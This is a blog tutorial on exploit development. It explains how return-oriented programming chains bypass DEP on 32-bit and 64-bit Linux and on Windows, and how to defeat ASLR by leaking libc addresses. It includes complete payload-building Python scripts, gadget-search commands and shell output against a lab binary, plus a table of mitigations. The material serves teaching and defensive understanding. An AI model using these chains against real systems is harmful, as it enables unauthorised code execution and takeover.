Bypassing DEP with ROP Chains
Thilan Dissanayaka Exploit Development April 06, 2020

Bypassing DEP with ROP Chains

In the previous article, we bypassed DEP by calling system("/bin/sh") — a single libc function. That’s enough for a simple shell. But what if you need to do something more complex?

  • Write a string to memory (to set up an argument that doesn’t already exist in libc)
  • Set up multiple registers for a syscall
  • Call mprotect() to make the stack executable, then jump to shellcode
  • Build a reverse shell by chaining socket(), connect(), dup2(), execve()

Calling whole functions gets messy fast — managing return addresses, cleaning up arguments between calls. And for some operations (like writing to memory), there’s no single libc function that does what you need.

Return-Oriented Programming (ROP) solves this. Instead of calling whole functions, you chain tiny fragments of existing code — typically 2-5 instructions ending with ret. Each fragment (called a gadget) does one small thing: pop a value into a register, write to memory, add two values. The ret at the end jumps to the next gadget. Together, they form a program.

ROP is Turing-complete. With enough gadgets, you can do anything. This is how every modern binary exploit works.

What is a Gadget?

A gadget is a sequence of machine instructions that ends with ret. They exist naturally throughout every binary and its loaded libraries — they’re just the tail ends of real functions, or even unaligned interpretations of other instructions.

; Gadget: pop eax; ret
0x080485a6:  pop eax        ; Load top of stack into EAX
0x080485a7:  ret            ; Pop next address into EIP → jump to next gadget

; Gadget: pop ebx; ret
0x080485f7:  pop ebx
0x080485f8:  ret

; Gadget: mov [eax], ebx; ret
0x08048734:  mov dword [eax], ebx   ; Write EBX to the address in EAX
0x08048736:  ret

; Gadget: xor eax, eax; ret
0x08048512:  xor eax, eax   ; Set EAX = 0
0x08048514:  ret

; Gadget: int 0x80; ret
0x08048423:  int 0x80        ; Trigger Linux syscall
0x08048425:  ret

Each gadget does one tiny operation. The ret instruction is the glue — it pops the next address from the stack, jumping to the next gadget.

How ROP Chains Work

The ret instruction does one thing: pop the top of the stack into EIP. In normal execution, this returns to the caller. But if we control the stack (via buffer overflow), we control what ret pops.

The stack becomes our program. Each entry is either a gadget address (code to execute) or data (values to pop into registers).

Stack layout (our ROP chain):
┌─────────────────────────┐  ← ESP after vulnerable function's ret
│ Address of Gadget 1      │  → pop eax; ret
├─────────────────────────┤
│ Value for EAX            │  → popped into EAX by gadget 1
├─────────────────────────┤
│ Address of Gadget 2      │  → pop ebx; ret (popped by gadget 1's ret)
├─────────────────────────┤
│ Value for EBX            │  → popped into EBX by gadget 2
├─────────────────────────┤
│ Address of Gadget 3      │  → mov [eax], ebx; ret
├─────────────────────────┤
│ Address of Gadget 4      │  → next operation...
└─────────────────────────┘

Execution flow:

  1. Vulnerable function’s ret pops Gadget 1 → jumps to pop eax; ret
  2. pop eax loads our value into EAX. ret pops Gadget 2 → jumps there
  3. pop ebx loads our value into EBX. ret pops Gadget 3 → jumps there
  4. mov [eax], ebx writes EBX to the address in EAX. ret pops Gadget 4

Each ret is a link in the chain. We’re executing real code — from executable memory pages — so DEP doesn’t interfere.

Finding Gadgets

You don’t search by hand. Tools scan the binary for all sequences ending with ret.

ROPgadget

$ ROPgadget --binary ./vulnerable

Gadgets information
============================================================
0x080485a6 : pop eax ; ret
0x080485f7 : pop ebx ; ret
0x0804861a : pop ecx ; pop edx ; ret
0x08048734 : mov dword ptr [eax], ebx ; ret
0x08048512 : xor eax, eax ; ret
0x080484f1 : inc eax ; ret
0x08048423 : int 0x80
...

Unique gadgets found: 147

ropper

$ ropper --file ./vulnerable --search "pop eax"
0x080485a6: pop eax; ret;
0x080487c3: pop eax; pop ebx; ret;

Searching libc (thousands more gadgets)

$ ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 | wc -l
12847

The more code loaded into the process, the more gadgets available. libc alone provides a massive gadget library.

Practical Example 1 — execve(“/bin/sh”) via ROP on 32-bit Linux

Let’s build a ROP chain that makes the execve syscall directly — without calling system().

On 32-bit Linux, execve requires:

EAX = 11        (syscall number)
EBX = pointer to "/bin/sh"
ECX = NULL       (argv)
EDX = NULL       (envp)
then: int 0x80   (trigger syscall)

We need to:

  1. Write "/bin/sh\0" somewhere in writable memory
  2. Set EAX = 11
  3. Set EBX = address of “/bin/sh”
  4. Set ECX = 0, EDX = 0
  5. Execute int 0x80

Step 1: Find Gadgets

$ ROPgadget --binary ./vulnerable --search "pop eax"
0x080485a6 : pop eax ; ret

$ ROPgadget --binary ./vulnerable --search "pop ebx"
0x080485f7 : pop ebx ; ret

$ ROPgadget --binary ./vulnerable --search "pop ecx"
0x0804861a : pop ecx ; pop edx ; ret     # Sets both ECX and EDX — bonus!

$ ROPgadget --binary ./vulnerable --search "mov.*eax.*ebx"
0x08048734 : mov dword ptr [eax], ebx ; ret

$ ROPgadget --binary ./vulnerable --search "xor eax"
0x08048512 : xor eax, eax ; ret

$ ROPgadget --binary ./vulnerable --search "inc eax"
0x080484f1 : inc eax ; ret

$ ROPgadget --binary ./vulnerable --search "int 0x80"
0x08048423 : int 0x80

Step 2: Find a Writable Location

We need somewhere to write “/bin/sh”. The .bss section is writable and always present:

$ readelf -S ./vulnerable | grep bss
  [25] .bss     PROGBITS  0804a028  001028  000004  00  WA  0   0  1

We’ll write to 0x0804a028.

Step 3: Build the Chain

import struct

p = lambda x: struct.pack("<I", x)

# Gadget addresses
pop_eax     = 0x080485a6    # pop eax; ret
pop_ebx     = 0x080485f7    # pop ebx; ret
pop_ecx_edx = 0x0804861a    # pop ecx; pop edx; ret
mov_eax_ebx = 0x08048734    # mov [eax], ebx; ret
xor_eax     = 0x08048512    # xor eax, eax; ret
inc_eax     = 0x080484f1    # inc eax; ret
int_0x80    = 0x08048423    # int 0x80

writable    = 0x0804a028    # .bss section

offset = 44                 # padding to return address

payload = b"A" * offset

# ===== Write "/bin" to .bss =====
payload += p(pop_eax)
payload += p(writable)           # EAX = .bss address
payload += p(pop_ebx)
payload += b"/bin"               # EBX = "/bin" (raw 4 bytes)
payload += p(mov_eax_ebx)       # [.bss] = "/bin"

# ===== Write "/sh\x00" to .bss+4 =====
payload += p(pop_eax)
payload += p(writable + 4)       # EAX = .bss + 4
payload += p(pop_ebx)
payload += b"/sh\x00"            # EBX = "/sh\0" (null-terminated)
payload += p(mov_eax_ebx)       # [.bss+4] = "/sh\0"

# ===== Set up registers for execve =====
payload += p(pop_ebx)
payload += p(writable)           # EBX = pointer to "/bin/sh"

payload += p(pop_ecx_edx)
payload += p(0x00000000)         # ECX = NULL (argv)
payload += p(0x00000000)         # EDX = NULL (envp)

# ===== Set EAX = 11 (execve syscall number) =====
payload += p(xor_eax)           # EAX = 0
for _ in range(11):
    payload += p(inc_eax)       # EAX += 1 (repeat 11 times)

# ===== Trigger syscall =====
payload += p(int_0x80)          # execve("/bin/sh", NULL, NULL)

with open("payload", "wb") as f:
    f.write(payload)

Step 4: Run It

$ (cat payload; cat) | ./vulnerable
whoami
thilan
id
uid=1000(thilan) gid=1000(thilan) groups=1000(thilan)

Shell. DEP is on. Every instruction we executed came from the binary’s .text section. We wrote “/bin/sh” to .bss, loaded registers, and triggered a syscall — all with existing code.

Understanding the Chain

Let’s trace the first few gadgets:

1. ret → pops 0x080485a6 → jumps to "pop eax; ret"
2. pop eax → EAX = 0x0804a028 (.bss)
3. ret → pops 0x080485f7 → jumps to "pop ebx; ret"
4. pop ebx → EBX = 0x6e69622f ("/bin" in little-endian)
5. ret → pops 0x08048734 → jumps to "mov [eax], ebx; ret"
6. mov [eax], ebx → writes "/bin" to .bss address
7. ret → pops next gadget → continues...

Each gadget executes 1-2 instructions and passes control to the next via ret. The stack is our instruction sequence.

Practical Example 2 — ROP on 64-bit Linux

On 64-bit, arguments go in registers (rdi, rsi, rdx, rcx, r8, r9). This actually makes ROP cleaner — we just need pop rdi; ret type gadgets.

For system("/bin/sh"):

from struct import pack

p64 = lambda x: pack("<Q", x)

offset   = 72                        # padding (varies per binary)

pop_rdi  = p64(0x00400753)           # pop rdi; ret
binsh    = p64(0x7ffff7f588cf)       # "/bin/sh" in libc
ret      = p64(0x00400754)           # ret (alignment)
system   = p64(0x7ffff7e42da0)       # system() in libc
exit_fn  = p64(0x7ffff7e369e0)       # exit()

payload  = b"A" * offset
payload += pop_rdi                   # Gadget: load rdi
payload += binsh                     # rdi = "/bin/sh"
payload += ret                       # Align stack to 16 bytes
payload += system                    # Call system("/bin/sh")
payload += exit_fn                   # Clean exit

with open("payload", "wb") as f:
    f.write(payload)

For a full execve syscall on 64-bit:

# execve syscall on x86-64:
# RAX = 59 (syscall number)
# RDI = pointer to "/bin/sh"
# RSI = NULL (argv)
# RDX = NULL (envp)
# syscall instruction (not int 0x80!)

pop_rax  = p64(0x00400756)    # pop rax; ret
pop_rdi  = p64(0x00400753)    # pop rdi; ret
pop_rsi  = p64(0x00400761)    # pop rsi; ret
pop_rdx  = p64(0x00400763)    # pop rdx; ret
syscall  = p64(0x00400770)    # syscall; ret

payload  = b"A" * offset
payload += pop_rdi + p64(binsh_addr)    # rdi = "/bin/sh"
payload += pop_rsi + p64(0)             # rsi = NULL
payload += pop_rdx + p64(0)             # rdx = NULL
payload += pop_rax + p64(59)            # rax = 59 (execve)
payload += syscall                       # trigger!

Cleaner than 32-bit because each register is set with a single pop reg; ret gadget.

Stack Alignment on 64-bit

The System V ABI requires the stack to be 16-byte aligned before a call. When we arrive at a function via ret (not call), alignment may be off by 8 bytes. If system() crashes with SIGSEGV on a movaps instruction, add a ret gadget before it to shift ESP by 8.

ROP on Windows — VirtualProtect

On Windows, the most common ROP strategy is to call VirtualProtect() to make the stack executable, then jump to shellcode on the stack.

BOOL VirtualProtect(
    LPVOID lpAddress,      // Address of region to change
    SIZE_T dwSize,         // Size of region
    DWORD  flNewProtect,   // New protection (0x40 = PAGE_EXECUTE_READWRITE)
    PDWORD lpflOldProtect  // Pointer to receive old protection value
);

The ROP chain:

  1. Set up the 4 arguments for VirtualProtect on the stack
  2. Call VirtualProtect(stack_addr, 0x1000, 0x40, &writable_addr)
  3. The stack is now executable (RWX)
  4. Jump to shellcode on the stack
# Windows ROP chain concept (addresses are example)
rop  = b""
rop += p(pop_ecx)        # ECX = lpAddress (stack address)
rop += p(stack_addr)
rop += p(pop_edx)        # EDX = dwSize
rop += p(0x00001000)
rop += p(pop_esi)        # ESI = flNewProtect
rop += p(0x00000040)     # PAGE_EXECUTE_READWRITE
rop += p(virtualprotect) # Call VirtualProtect
rop += p(shellcode_addr) # Return to shellcode after VirtualProtect

Finding gadgets in Windows requires scanning loaded DLLs (kernel32.dll, ntdll.dll, etc.) that aren’t compiled with ASLR, or combining with an info leak.

Defeating ASLR with ROP

ASLR randomizes library base addresses. Our hardcoded gadget addresses break on every run. The solution: leak a libc address, calculate the base, adjust all addresses.

The Two-Stage Attack

Stage 1: Leak a libc address
  ↓ (now we know libc_base)
Stage 2: Build ROP chain with correct addresses → shell

Stage 1 — Leak via PLT/GOT

If the binary has a puts() or write() function, we can use ROP to call it with a GOT entry as the argument. The GOT entry contains a resolved libc address.

# Stage 1: Leak puts@GOT (which contains puts()'s real libc address)
payload  = b"A" * offset
payload += p(puts_plt)          # Call puts() via PLT
payload += p(main_addr)         # Return to main (so we can exploit again)
payload += p(puts_got)          # Argument: puts@GOT address

# Send stage 1 and read the leak
p.sendline(payload)
leaked_puts = u32(p.recv(4))

# Calculate libc base
libc_base = leaked_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh  = libc_base + next(libc.search(b'/bin/sh'))

Stage 2 — Exploit with Correct Addresses

# Stage 2: ret2libc with correct addresses
payload  = b"A" * offset
payload += p(system)
payload += p(exit_fn)
payload += p(binsh)

p.sendline(payload)
p.interactive()

This is the realistic exploitation pattern for modern binaries with full protections.

Automated ROP Chain Generation

Building chains by hand is educational but tedious. In practice, tools handle it.

pwntools (Python)

from pwn import *

elf = ELF('./vulnerable')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
rop = ROP(elf)

# Automatic chain building
rop.call('system', [next(libc.search(b'/bin/sh'))])
rop.call('exit', [0])

log.info(rop.dump())
payload = b"A" * offset + rop.chain()

pwntools finds gadgets, handles calling conventions, and generates the chain.

ROPgadget Auto-Chain

$ ROPgadget --binary ./vulnerable --ropchain

ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
  [+] Gadget found: 0x08048734 mov dword ptr [eax], ebx ; ret
  ...
- Step 5 -- Syscall gadget
  [+] Gadget found: 0x08048423 int 0x80

# Full Python exploit is generated automatically

Mitigations Against ROP

The security community continues to build defenses:

Mitigation How It Works Bypass
Stack Canaries Random value before return address — detects overwrites Leak the canary (format string, info disclosure)
ASLR Randomizes code/library addresses Info leak → calculate base
CFI (Control Flow Integrity) Validates indirect jumps/returns go to legitimate targets Complex, research ongoing
Shadow Stack (Intel CET) Hardware-protected copy of return addresses Very new, limited bypass research
Restricted gadgets Compiler reduces useful gadgets Use gadgets from libraries instead
RELRO (Full) GOT is read-only Target other writable function pointers

Each mitigation raises the bar. None completely eliminates ROP — but they make exploitation significantly harder and less reliable.

ROP Cheat Sheet

Component What It Does
Gadget Small instruction sequence ending in ret
pop reg; ret Load a stack value into a register
mov [reg], reg; ret Write to memory
xor reg, reg; ret Zero a register
int 0x80 / syscall Trigger a syscall
ret Stack pivot / alignment
ROP chain Sequence of gadget addresses + data on the stack
ROPgadget Tool to find gadgets in binaries
ropper Alternative gadget finder
pwntools ROP Automated chain building in Python

What’s Next

With ret2libc and ROP chains, you can bypass DEP on any platform. Combined with format string leaks for ASLR bypass, this gives you a complete exploitation toolkit for stack-based vulnerabilities.

The next frontier is the heapheap internals and heap exploitation — where the techniques are different but the goal is the same: gain control of execution.

Happy reversing!

ALSO READ
Blockchain 0x000 – Understanding the Fundamentals
May 21, 2020 Web3 Development

Imagine a world where strangers can exchange money, share data, or execute agreements without ever needing to trust a central authority. No banks, no intermediaries, no single point of failure yet...

Identity and Access Management (IAM)
May 11, 2020 Identity & Access Management

Who are you — and what are you allowed to do? That's the fundamental question every secure system must answer. And it's exactly what Identity and Access Management (IAM) is built to solve.

How I built a web based CPU Simulator
May 07, 2020 Pet Projects

As someone passionate about computer engineering, reverse engineering, and system internals, I've always been fascinated by what happens "under the hood" of a computer. This curiosity led me to...

Writing a Shell Code for Linux
Apr 21, 2020 Exploit Development

Shellcode is a small piece of machine code used as the payload in exploit development. In this post, we write Linux shellcode from scratch — starting with a simple exit, building up to spawning a shell, and explaining every decision along the way.

Exploiting a Stack Buffer Overflow on Windows
Apr 12, 2020 Exploit Development

In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step. Now today we are going to jump...

Access Control Models
Apr 08, 2020 Identity & Access Management

Access control is one of the most fundamental concepts in security. Every time you set file permissions, assign user roles, or restrict access to a resource, you're implementing some form of access control. But not all access control is created equal...

Exploiting a  Stack Buffer Overflow  on Linux
Apr 01, 2020 Exploit Development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Basic concepts of Cryptography
Mar 01, 2020 Cryptography

Ever notice that little padlock icon in your browser's address bar? That's cryptography working silently in the background, protecting everything you do online. Whether you're sending an email,...

Common Web Application Attacks
Feb 05, 2020 Application Security

Web applications are one of the most targeted surfaces by attackers. This is primarily because they are accessible over the internet, making them exposed and potentially vulnerable. Since these...

Remote Code Execution (RCE)
Jan 02, 2020 Application Security

Remote Code Execution (RCE) is the holy grail of application security vulnerabilities. It allows an attacker to execute arbitrary code on a remote server — and the consequences are as bad as it sounds. In this post, we'll go deep into RCE across multiple languages, including PHP, Java, Python, and Node.js.